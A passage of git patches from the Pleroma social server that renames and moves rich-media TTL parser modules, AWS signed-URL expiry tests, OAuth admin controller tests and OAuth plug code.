XmlBuilder.to_xml(data) == expected_xml - end -end -- cgit v1.2.3 From 103f3dcb9ed0a12a11e9cc5c574449439fc2cb0e Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 23 Jun 2020 18:33:03 +0300 Subject: rich media parser ttl files consistency --- lib/pleroma/web/rich_media/parser/ttl.ex | 7 ++ .../web/rich_media/parser/ttl/aws_signed_url.ex | 50 +++++++++++++ .../web/rich_media/parsers/ttl/aws_signed_url.ex | 50 ------------- lib/pleroma/web/rich_media/parsers/ttl/ttl.ex | 7 -- .../rich_media/parser/ttl/aws_signed_url_test.exs | 82 ++++++++++++++++++++++ .../rich_media/parsers/ttl/aws_signed_url_test.exs | 82 ---------------------- 6 files changed, 139 insertions(+), 139 deletions(-) create mode 100644 lib/pleroma/web/rich_media/parser/ttl.ex create mode 100644 lib/pleroma/web/rich_media/parser/ttl/aws_signed_url.ex delete mode 100644 lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex delete mode 100644 lib/pleroma/web/rich_media/parsers/ttl/ttl.ex create mode 100644 test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs delete mode 100644 test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs diff --git a/lib/pleroma/web/rich_media/parser/ttl.ex b/lib/pleroma/web/rich_media/parser/ttl.ex new file mode 100644 index 000000000..8353f0fff --- /dev/null +++ b/lib/pleroma/web/rich_media/parser/ttl.ex @@ -0,0 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.Parser.TTL do + @callback ttl(Map.t(), String.t()) :: Integer.t() | nil +end diff --git a/lib/pleroma/web/rich_media/parser/ttl/aws_signed_url.ex b/lib/pleroma/web/rich_media/parser/ttl/aws_signed_url.ex new file mode 100644 index 000000000..fc4ef79c0 --- /dev/null +++ b/lib/pleroma/web/rich_media/parser/ttl/aws_signed_url.ex @@ -0,0 +1,50 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl do + @behaviour Pleroma.Web.RichMedia.Parser.TTL + + @impl true + def ttl(data, _url) do + image = Map.get(data, :image) + + if is_aws_signed_url(image) do + image + |> parse_query_params() + |> format_query_params() + |> get_expiration_timestamp() + else + {:error, "Not aws signed url #{inspect(image)}"} + end + end + + defp is_aws_signed_url(image) when is_binary(image) and image != "" do + %URI{host: host, query: query} = URI.parse(image) + + String.contains?(host, "amazonaws.com") and String.contains?(query, "X-Amz-Expires") + end + + defp is_aws_signed_url(_), do: nil + + defp parse_query_params(image) do + %URI{query: query} = URI.parse(image) + query + end + + defp format_query_params(query) do + query + |> String.split(~r/&|=/) + |> Enum.chunk_every(2) + |> Map.new(fn [k, v] -> {k, v} end) + end + + defp get_expiration_timestamp(params) when is_map(params) do + {:ok, date} = + params + |> Map.get("X-Amz-Date") + |> Timex.parse("{ISO:Basic:Z}") + + {:ok, Timex.to_unix(date) + String.to_integer(Map.get(params, "X-Amz-Expires"))} + end +end diff --git a/lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex b/lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex deleted file mode 100644 index 15109d28d..000000000 --- a/lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex +++ /dev/null @@ -1,50 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl do - @behaviour Pleroma.Web.RichMedia.Parser.TTL - - @impl Pleroma.Web.RichMedia.Parser.TTL - def ttl(data, _url) do - image = Map.get(data, :image) - - if is_aws_signed_url(image) do - image - |> parse_query_params() - |> format_query_params() - |> get_expiration_timestamp() - else - {:error, "Not aws signed url #{inspect(image)}"} - end - end - - defp is_aws_signed_url(image) when is_binary(image) and image != "" do - %URI{host: host, query: query} = URI.parse(image) - - String.contains?(host, "amazonaws.com") and String.contains?(query, "X-Amz-Expires") - end - - defp is_aws_signed_url(_), do: nil - - defp parse_query_params(image) do - %URI{query: query} = URI.parse(image) - query - end - - defp format_query_params(query) do - query - |> String.split(~r/&|=/) - |> Enum.chunk_every(2) - |> Map.new(fn [k, v] -> {k, v} end) - end - - defp get_expiration_timestamp(params) when is_map(params) do - {:ok, date} = - params - |> Map.get("X-Amz-Date") - |> Timex.parse("{ISO:Basic:Z}") - - {:ok, Timex.to_unix(date) + String.to_integer(Map.get(params, "X-Amz-Expires"))} - end -end diff --git a/lib/pleroma/web/rich_media/parsers/ttl/ttl.ex b/lib/pleroma/web/rich_media/parsers/ttl/ttl.ex deleted file mode 100644 index 13511888c..000000000 --- a/lib/pleroma/web/rich_media/parsers/ttl/ttl.ex +++ /dev/null @@ -1,7 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.Parser.TTL do - @callback ttl(Map.t(), String.t()) :: {:ok, Integer.t()} | {:error, String.t()} -end diff --git a/test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs b/test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs new file mode 100644 index 000000000..2f17bebd7 --- /dev/null +++ b/test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs @@ -0,0 +1,82 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrlTest do + use ExUnit.Case, async: true + + test "s3 signed url is parsed correct for expiration time" do + url = "https://pleroma.social/amz" + + {:ok, timestamp} = + Timex.now() + |> DateTime.truncate(:second) + |> Timex.format("{ISO:Basic:Z}") + + # in seconds + valid_till = 30 + + metadata = construct_metadata(timestamp, valid_till, url) + + expire_time = + Timex.parse!(timestamp, "{ISO:Basic:Z}") |> Timex.to_unix() |> Kernel.+(valid_till) + + assert {:ok, expire_time} == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) + end + + test "s3 signed url is parsed and correct ttl is set for rich media" do + url = "https://pleroma.social/amz" + + {:ok, timestamp} = + Timex.now() + |> DateTime.truncate(:second) + |> Timex.format("{ISO:Basic:Z}") + + # in seconds + valid_till = 30 + + metadata = construct_metadata(timestamp, valid_till, url) + + body = """ + <meta name="twitter:card" content="Pleroma" /> + <meta name="twitter:site" content="Pleroma" /> + <meta name="twitter:title" content="Pleroma" /> + <meta name="twitter:description" content="Pleroma" /> + <meta name="twitter:image" content="#{Map.get(metadata, :image)}" /> + """ + + Tesla.Mock.mock(fn + %{ + method: :get, + url: "https://pleroma.social/amz" + } -> + %Tesla.Env{status: 200, body: body} + end) + + Cachex.put(:rich_media_cache, url, metadata) + + Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image(metadata, url) + + {:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url) + + # as there is delay in setting and pulling the data from cache we ignore 1 second + # make it 2 seconds for flakyness + assert_in_delta(valid_till * 1000, cache_ttl, 2000) + end + + defp construct_s3_url(timestamp, valid_till) do + "https://pleroma.s3.ap-southeast-1.amazonaws.com/sachin%20%281%29%20_a%20-%25%2Aasdasd%20BNN%20bnnn%20.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIBLWWK6RGDQXDLJQ%2F20190716%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Date=#{ + timestamp + }&X-Amz-Expires=#{valid_till}&X-Amz-Signature=04ffd6b98634f4b1bbabc62e0fac4879093cd54a6eed24fe8eb38e8369526bbf&X-Amz-SignedHeaders=host" + end + + defp construct_metadata(timestamp, valid_till, url) do + %{ + image: construct_s3_url(timestamp, valid_till), + site: "Pleroma", + title: "Pleroma", + description: "Pleroma", + url: url + } + end +end diff --git a/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs b/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs deleted file mode 100644 index 4a3122638..000000000 --- a/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs +++ /dev/null @@ -1,82 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.Parsers.TTL.AwsSignedUrlTest do - use ExUnit.Case, async: true - - test "s3 signed url is parsed correct for expiration time" do - url = "https://pleroma.social/amz" - - {:ok, timestamp} = - Timex.now() - |> DateTime.truncate(:second) - |> Timex.format("{ISO:Basic:Z}") - - # in seconds - valid_till = 30 - - metadata = construct_metadata(timestamp, valid_till, url) - - expire_time = - Timex.parse!(timestamp, "{ISO:Basic:Z}") |> Timex.to_unix() |> Kernel.+(valid_till) - - assert {:ok, expire_time} == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) - end - - test "s3 signed url is parsed and correct ttl is set for rich media" do - url = "https://pleroma.social/amz" - - {:ok, timestamp} = - Timex.now() - |> DateTime.truncate(:second) - |> Timex.format("{ISO:Basic:Z}") - - # in seconds - valid_till = 30 - - metadata = construct_metadata(timestamp, valid_till, url) - - body = """ - <meta name="twitter:card" content="Pleroma" /> - <meta name="twitter:site" content="Pleroma" /> - <meta name="twitter:title" content="Pleroma" /> - <meta name="twitter:description" content="Pleroma" /> - <meta name="twitter:image" content="#{Map.get(metadata, :image)}" /> - """ - - Tesla.Mock.mock(fn - %{ - method: :get, - url: "https://pleroma.social/amz" - } -> - %Tesla.Env{status: 200, body: body} - end) - - Cachex.put(:rich_media_cache, url, metadata) - - Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image(metadata, url) - - {:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url) - - # as there is delay in setting and pulling the data from cache we ignore 1 second - # make it 2 seconds for flakyness - assert_in_delta(valid_till * 1000, cache_ttl, 2000) - end - - defp construct_s3_url(timestamp, valid_till) do - "https://pleroma.s3.ap-southeast-1.amazonaws.com/sachin%20%281%29%20_a%20-%25%2Aasdasd%20BNN%20bnnn%20.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIBLWWK6RGDQXDLJQ%2F20190716%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Date=#{ - timestamp - }&X-Amz-Expires=#{valid_till}&X-Amz-Signature=04ffd6b98634f4b1bbabc62e0fac4879093cd54a6eed24fe8eb38e8369526bbf&X-Amz-SignedHeaders=host" - end - - defp construct_metadata(timestamp, valid_till, url) do - %{ - image: construct_s3_url(timestamp, valid_till), - site: "Pleroma", - title: "Pleroma", - description: "Pleroma", - url: url - } - end -end -- cgit v1.2.3 From 7acf09beb8f19ec75bd291f8e4619339c26f7109 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 23 Jun 2020 18:48:12 +0300 Subject: more tests --- .../controllers/o_auth_app_controller_test.exs | 220 +++++++++++++++++++++ .../controllers/oauth_app_controller_test.exs | 220 --------------------- .../web/pleroma_api/views/scrobble_view_test.exs | 2 +- 3 files changed, 221 insertions(+), 221 deletions(-) create mode 100644 test/pleroma/web/admin_api/controllers/o_auth_app_controller_test.exs delete mode 100644 test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs diff --git a/test/pleroma/web/admin_api/controllers/o_auth_app_controller_test.exs b/test/pleroma/web/admin_api/controllers/o_auth_app_controller_test.exs new file mode 100644 index 000000000..ed7c4172c --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/o_auth_app_controller_test.exs @@ -0,0 +1,220 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.OAuthAppControllerTest do + use Pleroma.Web.ConnCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.Web + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "POST /api/pleroma/admin/oauth_app" do + test "errors", %{conn: conn} do + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{}) + |> json_response_and_validate_schema(400) + + assert %{ + "error" => "Missing field: name. Missing field: redirect_uris." + } = response + end + + test "success", %{conn: conn} do + base_url = Web.base_url() + app_name = "Trusted app" + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{ + name: app_name, + redirect_uris: base_url + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "name" => ^app_name, + "redirect_uri" => ^base_url, + "trusted" => false + } = response + end + + test "with trusted", %{conn: conn} do + base_url = Web.base_url() + app_name = "Trusted app" + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{ + name: app_name, + redirect_uris: base_url, + trusted: true + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "name" => ^app_name, + "redirect_uri" => ^base_url, + "trusted" => true + } = response + end + end + + describe "GET /api/pleroma/admin/oauth_app" do + setup do + app = insert(:oauth_app) + {:ok, app: app} + end + + test "list", %{conn: conn} do + response = + conn + |> get("/api/pleroma/admin/oauth_app") + |> json_response_and_validate_schema(200) + + assert %{"apps" => apps, "count" => count, "page_size" => _} = response + + assert length(apps) == count + end + + test "with page size", %{conn: conn} do + insert(:oauth_app) + page_size = 1 + + response = + conn + |> get("/api/pleroma/admin/oauth_app?page_size=#{page_size}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => apps, "count" => _, "page_size" => ^page_size} = response + + assert length(apps) == page_size + end + + test "search by client name", %{conn: conn, app: app} do + response = + conn + |> get("/api/pleroma/admin/oauth_app?name=#{app.client_name}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + + test "search by client id", %{conn: conn, app: app} do + response = + conn + |> get("/api/pleroma/admin/oauth_app?client_id=#{app.client_id}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + + test "only trusted", %{conn: conn} do + app = insert(:oauth_app, trusted: true) + + response = + conn + |> get("/api/pleroma/admin/oauth_app?trusted=true") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + end + + describe "DELETE /api/pleroma/admin/oauth_app/:id" do + test "with id", %{conn: conn} do + app = insert(:oauth_app) + + response = + conn + |> delete("/api/pleroma/admin/oauth_app/" <> to_string(app.id)) + |> json_response_and_validate_schema(:no_content) + + assert response == "" + end + + test "with non existance id", %{conn: conn} do + response = + conn + |> delete("/api/pleroma/admin/oauth_app/0") + |> json_response_and_validate_schema(:bad_request) + + assert response == "" + end + end + + describe "PATCH /api/pleroma/admin/oauth_app/:id" do + test "with id", %{conn: conn} do + app = insert(:oauth_app) + + name = "another name" + url = "https://example.com" + scopes = ["admin"] + id = app.id + website = "http://website.com" + + response = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/oauth_app/#{id}", %{ + name: name, + trusted: true, + redirect_uris: url, + scopes: scopes, + website: website + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "id" => ^id, + "name" => ^name, + "redirect_uri" => ^url, + "trusted" => true, + "website" => ^website + } = response + end + + test "without id", %{conn: conn} do + response = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/oauth_app/0") + |> json_response_and_validate_schema(:bad_request) + + assert response == "" + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs b/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs deleted file mode 100644 index ed7c4172c..000000000 --- a/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs +++ /dev/null @@ -1,220 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.OAuthAppControllerTest do - use Pleroma.Web.ConnCase, async: true - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.Web - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "POST /api/pleroma/admin/oauth_app" do - test "errors", %{conn: conn} do - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{}) - |> json_response_and_validate_schema(400) - - assert %{ - "error" => "Missing field: name. Missing field: redirect_uris." - } = response - end - - test "success", %{conn: conn} do - base_url = Web.base_url() - app_name = "Trusted app" - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{ - name: app_name, - redirect_uris: base_url - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "name" => ^app_name, - "redirect_uri" => ^base_url, - "trusted" => false - } = response - end - - test "with trusted", %{conn: conn} do - base_url = Web.base_url() - app_name = "Trusted app" - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{ - name: app_name, - redirect_uris: base_url, - trusted: true - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "name" => ^app_name, - "redirect_uri" => ^base_url, - "trusted" => true - } = response - end - end - - describe "GET /api/pleroma/admin/oauth_app" do - setup do - app = insert(:oauth_app) - {:ok, app: app} - end - - test "list", %{conn: conn} do - response = - conn - |> get("/api/pleroma/admin/oauth_app") - |> json_response_and_validate_schema(200) - - assert %{"apps" => apps, "count" => count, "page_size" => _} = response - - assert length(apps) == count - end - - test "with page size", %{conn: conn} do - insert(:oauth_app) - page_size = 1 - - response = - conn - |> get("/api/pleroma/admin/oauth_app?page_size=#{page_size}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => apps, "count" => _, "page_size" => ^page_size} = response - - assert length(apps) == page_size - end - - test "search by client name", %{conn: conn, app: app} do - response = - conn - |> get("/api/pleroma/admin/oauth_app?name=#{app.client_name}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - - test "search by client id", %{conn: conn, app: app} do - response = - conn - |> get("/api/pleroma/admin/oauth_app?client_id=#{app.client_id}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - - test "only trusted", %{conn: conn} do - app = insert(:oauth_app, trusted: true) - - response = - conn - |> get("/api/pleroma/admin/oauth_app?trusted=true") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - end - - describe "DELETE /api/pleroma/admin/oauth_app/:id" do - test "with id", %{conn: conn} do - app = insert(:oauth_app) - - response = - conn - |> delete("/api/pleroma/admin/oauth_app/" <> to_string(app.id)) - |> json_response_and_validate_schema(:no_content) - - assert response == "" - end - - test "with non existance id", %{conn: conn} do - response = - conn - |> delete("/api/pleroma/admin/oauth_app/0") - |> json_response_and_validate_schema(:bad_request) - - assert response == "" - end - end - - describe "PATCH /api/pleroma/admin/oauth_app/:id" do - test "with id", %{conn: conn} do - app = insert(:oauth_app) - - name = "another name" - url = "https://example.com" - scopes = ["admin"] - id = app.id - website = "http://website.com" - - response = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/oauth_app/#{id}", %{ - name: name, - trusted: true, - redirect_uris: url, - scopes: scopes, - website: website - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "id" => ^id, - "name" => ^name, - "redirect_uri" => ^url, - "trusted" => true, - "website" => ^website - } = response - end - - test "without id", %{conn: conn} do - response = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/oauth_app/0") - |> json_response_and_validate_schema(:bad_request) - - assert response == "" - end - end -end diff --git a/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs b/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs index 6bdb56509..0f43cbdc3 100644 --- a/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs +++ b/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Web.PleromaAPI.StatusViewTest do +defmodule Pleroma.Web.PleromaAPI.ScrobbleViewTest do use Pleroma.DataCase alias Pleroma.Web.PleromaAPI.ScrobbleView -- cgit v1.2.3 From b5b4395e4a7c63e31579475888fa892dcdaeecff Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 23 Jun 2020 19:08:19 +0300 Subject: oauth consistency --- lib/pleroma/plugs/o_auth_plug.ex | 120 ++++ lib/pleroma/plugs/o_auth_scopes_plug.ex | 77 +++ lib/pleroma/plugs/oauth_plug.ex | 120 ---- lib/pleroma/plugs/oauth_scopes_plug.ex | 77 --- .../admin_api/controllers/o_auth_app_controller.ex | 77 +++ .../admin_api/controllers/oauth_app_controller.ex | 77 --- .../operations/admin/o_auth_app_operation.ex | 217 ++++++++ .../operations/admin/oauth_app_operation.ex | 217 -------- lib/pleroma/web/o_auth.ex | 6 + lib/pleroma/web/o_auth/app.ex | 149 +++++ lib/pleroma/web/o_auth/authorization.ex | 95 ++++ lib/pleroma/web/o_auth/fallback_controller.ex | 32 ++ lib/pleroma/web/o_auth/mfa_controller.ex | 98 ++++ lib/pleroma/web/o_auth/mfa_view.ex | 17 + lib/pleroma/web/o_auth/o_auth_controller.ex | 610 +++++++++++++++++++++ lib/pleroma/web/o_auth/o_auth_view.ex | 30 + lib/pleroma/web/o_auth/scopes.ex | 76 +++ lib/pleroma/web/o_auth/token.ex | 135 +++++ lib/pleroma/web/o_auth/token/query.ex | 49 ++ .../web/o_auth/token/strategy/refresh_token.ex | 58 ++ lib/pleroma/web/o_auth/token/strategy/revoke.ex | 26 + lib/pleroma/web/o_auth/token/utils.ex | 72 +++ lib/pleroma/web/oauth.ex | 6 - lib/pleroma/web/oauth/app.ex | 149 ----- lib/pleroma/web/oauth/authorization.ex | 95 ---- lib/pleroma/web/oauth/fallback_controller.ex | 32 -- lib/pleroma/web/oauth/mfa_controller.ex | 98 ---- lib/pleroma/web/oauth/mfa_view.ex | 17 - lib/pleroma/web/oauth/oauth_controller.ex | 610 --------------------- lib/pleroma/web/oauth/oauth_view.ex | 30 - lib/pleroma/web/oauth/scopes.ex | 76 --- lib/pleroma/web/oauth/token.ex | 135 ----- lib/pleroma/web/oauth/token/query.ex | 49 -- .../web/oauth/token/strategy/refresh_token.ex | 58 -- lib/pleroma/web/oauth/token/strategy/revoke.ex | 26 - lib/pleroma/web/oauth/token/utils.ex | 72 --- 36 files changed, 1944 insertions(+), 1944 deletions(-) create mode 100644 lib/pleroma/plugs/o_auth_plug.ex create mode 100644 lib/pleroma/plugs/o_auth_scopes_plug.ex delete mode 100644 lib/pleroma/plugs/oauth_plug.ex delete mode 100644 lib/pleroma/plugs/oauth_scopes_plug.ex create mode 100644 lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex delete mode 100644 lib/pleroma/web/admin_api/controllers/oauth_app_controller.ex create mode 100644 lib/pleroma/web/api_spec/operations/admin/o_auth_app_operation.ex delete mode 100644 lib/pleroma/web/api_spec/operations/admin/oauth_app_operation.ex create mode 100644 lib/pleroma/web/o_auth.ex create mode 100644 lib/pleroma/web/o_auth/app.ex create mode 100644 lib/pleroma/web/o_auth/authorization.ex create mode 100644 lib/pleroma/web/o_auth/fallback_controller.ex create mode 100644 lib/pleroma/web/o_auth/mfa_controller.ex create mode 100644 lib/pleroma/web/o_auth/mfa_view.ex create mode 100644 lib/pleroma/web/o_auth/o_auth_controller.ex create mode 100644 lib/pleroma/web/o_auth/o_auth_view.ex create mode 100644 lib/pleroma/web/o_auth/scopes.ex create mode 100644 lib/pleroma/web/o_auth/token.ex create mode 100644 lib/pleroma/web/o_auth/token/query.ex create mode 100644 lib/pleroma/web/o_auth/token/strategy/refresh_token.ex create mode 100644 lib/pleroma/web/o_auth/token/strategy/revoke.ex create mode 100644 lib/pleroma/web/o_auth/token/utils.ex delete mode 100644 lib/pleroma/web/oauth.ex delete mode 100644 lib/pleroma/web/oauth/app.ex delete mode 100644 lib/pleroma/web/oauth/authorization.ex delete mode 100644 lib/pleroma/web/oauth/fallback_controller.ex delete mode 100644 lib/pleroma/web/oauth/mfa_controller.ex delete mode 100644 lib/pleroma/web/oauth/mfa_view.ex delete mode 100644 lib/pleroma/web/oauth/oauth_controller.ex delete mode 100644 lib/pleroma/web/oauth/oauth_view.ex delete mode 100644 lib/pleroma/web/oauth/scopes.ex delete mode 100644 lib/pleroma/web/oauth/token.ex delete mode 100644 lib/pleroma/web/oauth/token/query.ex delete mode 100644 lib/pleroma/web/oauth/token/strategy/refresh_token.ex delete mode 100644 lib/pleroma/web/oauth/token/strategy/revoke.ex delete mode 100644 lib/pleroma/web/oauth/token/utils.ex diff --git a/lib/pleroma/plugs/o_auth_plug.ex b/lib/pleroma/plugs/o_auth_plug.ex new file mode 100644 index 000000000..6fa71ef47 --- /dev/null +++ b/lib/pleroma/plugs/o_auth_plug.ex @@ -0,0 +1,120 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.OAuthPlug do + import Plug.Conn + import Ecto.Query + + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.OAuth.Token + + @realm_reg Regex.compile!("Bearer\:?\s+(.*)$", "i") + + def init(options), do: options + + def call(%{assigns: %{user: %User{}}} = conn, _), do: conn + + def call(%{params: %{"access_token" => access_token}} = conn, _) do + with {:ok, user, token_record} <- fetch_user_and_token(access_token) do + conn + |> assign(:token, token_record) + |> assign(:user, user) + else + _ -> + # token found, but maybe only with app + with {:ok, app, token_record} <- fetch_app_and_token(access_token) do + conn + |> assign(:token, token_record) + |> assign(:app, app) + else + _ -> conn + end + end + end + + def call(conn, _) do + case fetch_token_str(conn) do + {:ok, token} -> + with {:ok, user, token_record} <- fetch_user_and_token(token) do + conn + |> assign(:token, token_record) + |> assign(:user, user) + else + _ -> + # token found, but maybe only with app + with {:ok, app, token_record} <- fetch_app_and_token(token) do + conn + |> assign(:token, token_record) + |> assign(:app, app) + else + _ -> conn + end + end + + _ -> + conn + end + end + + # Gets user by token + # + @spec fetch_user_and_token(String.t()) :: {:ok, User.t(), Token.t()} | nil + defp fetch_user_and_token(token) do + query = + from(t in Token, + where: t.token == ^token, + join: user in assoc(t, :user), + preload: [user: user] + ) + + # credo:disable-for-next-line Credo.Check.Readability.MaxLineLength + with %Token{user: user} = token_record <- Repo.one(query) do + {:ok, user, token_record} + end + end + + @spec fetch_app_and_token(String.t()) :: {:ok, App.t(), Token.t()} | nil + defp fetch_app_and_token(token) do + query = + from(t in Token, where: t.token == ^token, join: app in assoc(t, :app), preload: [app: app]) + + with %Token{app: app} = token_record <- Repo.one(query) do + {:ok, app, token_record} + end + end + + # Gets token from session by :oauth_token key + # + @spec fetch_token_from_session(Plug.Conn.t()) :: :no_token_found | {:ok, String.t()} + defp fetch_token_from_session(conn) do + case get_session(conn, :oauth_token) do + nil -> :no_token_found + token -> {:ok, token} + end + end + + # Gets token from headers + # + @spec fetch_token_str(Plug.Conn.t()) :: :no_token_found | {:ok, String.t()} + defp fetch_token_str(%Plug.Conn{} = conn) do + headers = get_req_header(conn, "authorization") + + with :no_token_found <- fetch_token_str(headers), + do: fetch_token_from_session(conn) + end + + @spec fetch_token_str(Keyword.t()) :: :no_token_found | {:ok, String.t()} + defp fetch_token_str([]), do: :no_token_found + + defp fetch_token_str([token | tail]) do + trimmed_token = String.trim(token) + + case Regex.run(@realm_reg, trimmed_token) do + [_, match] -> {:ok, String.trim(match)} + _ -> fetch_token_str(tail) + end + end +end diff --git a/lib/pleroma/plugs/o_auth_scopes_plug.ex b/lib/pleroma/plugs/o_auth_scopes_plug.ex new file mode 100644 index 000000000..b1a736d78 --- /dev/null +++ b/lib/pleroma/plugs/o_auth_scopes_plug.ex @@ -0,0 +1,77 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.OAuthScopesPlug do + import Plug.Conn + import Pleroma.Web.Gettext + + alias Pleroma.Config + + use Pleroma.Web, 